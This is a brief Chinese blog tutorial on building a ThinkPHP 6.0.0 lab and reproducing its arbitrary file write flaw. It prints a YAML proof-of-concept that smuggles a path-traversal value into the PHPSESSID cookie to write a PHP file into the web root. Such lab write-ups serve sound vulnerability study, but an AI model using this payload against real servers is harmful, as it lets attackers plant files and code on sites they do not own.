【一分钟】ThinkPHP v6.0 (poc-yaml-thinkphp-v6-file-write)环境复现及poc解析

写在前面

一分钟表示是非常短的文章,只会做简单的描述。旨在用较短的时间获取有用的信息

环境下载

官方环境下载器:https://getcomposer.org/Composer-Setup.exe
下载文档时可以设置代理,不然下载不上,你懂的

下载成功
cmd cd 进入到你的www文件下
(在那里打开终端也行)
执行如下命令

composer create-project topthink/think tp60


下载完成后,进入tp60文件夹
找到该项目下的composer.json
更改这个位置,版本为6.0.0
【一分钟】ThinkPHP v6.0 (poc-yaml-thinkphp-v6-file-write)环境复现及poc解析_第1张图片
重新在该位置使用composer update
【一分钟】ThinkPHP v6.0 (poc-yaml-thinkphp-v6-file-write)环境复现及poc解析_第2张图片
在当前位置继续使用php think run
【一分钟】ThinkPHP v6.0 (poc-yaml-thinkphp-v6-file-write)环境复现及poc解析_第3张图片
开启成功
【一分钟】ThinkPHP v6.0 (poc-yaml-thinkphp-v6-file-write)环境复现及poc解析_第4张图片
利用之前还需要开启session
app/middleware.php 开启session功能
【一分钟】ThinkPHP v6.0 (poc-yaml-thinkphp-v6-file-write)环境复现及poc解析_第5张图片
poc链接:https://github.com/Loneyers/ThinkPHP6_Anyfile_operation_write
ThinkPHP6任意文件操作漏洞,影响版本ThinkPHP6.0.0-6.0.1

name: poc-yaml-thinkphp-v6-file-write
set:
  f1: randomInt(800000000, 900000000)
rules:
  - method: GET
    path: /{{f1}}.php
    follow_redirects: true
    expression: |
      response.status == 404
  - method: GET
    path: /
    headers:
      Cookie: PHPSESSID=../../../../public/{{f1}}.php
    follow_redirects: true
    expression: |
      response.status == 200 && "set-cookie" in response.headers && response.headers["set-cookie"].bcontains(string(f1))
  - method: GET
    path: /{{f1}}.php
    follow_redirects: true
    expression: |
      response.status == 200 && response.content_type.bcontains(b"text/html")
detail:
  author: Loneyer
  Affected Version: "Thinkphp 6.0.0"
  links:
    - https://github.com/Loneyers/ThinkPHP6_Anyfile_operation_write

【一分钟】ThinkPHP v6.0 (poc-yaml-thinkphp-v6-file-write)环境复现及poc解析_第6张图片
写入成功:
【一分钟】ThinkPHP v6.0 (poc-yaml-thinkphp-v6-file-write)环境复现及poc解析_第7张图片

你可能感兴趣的:(网络安全,php,网络安全,信息安全,ThinkPHP,漏洞)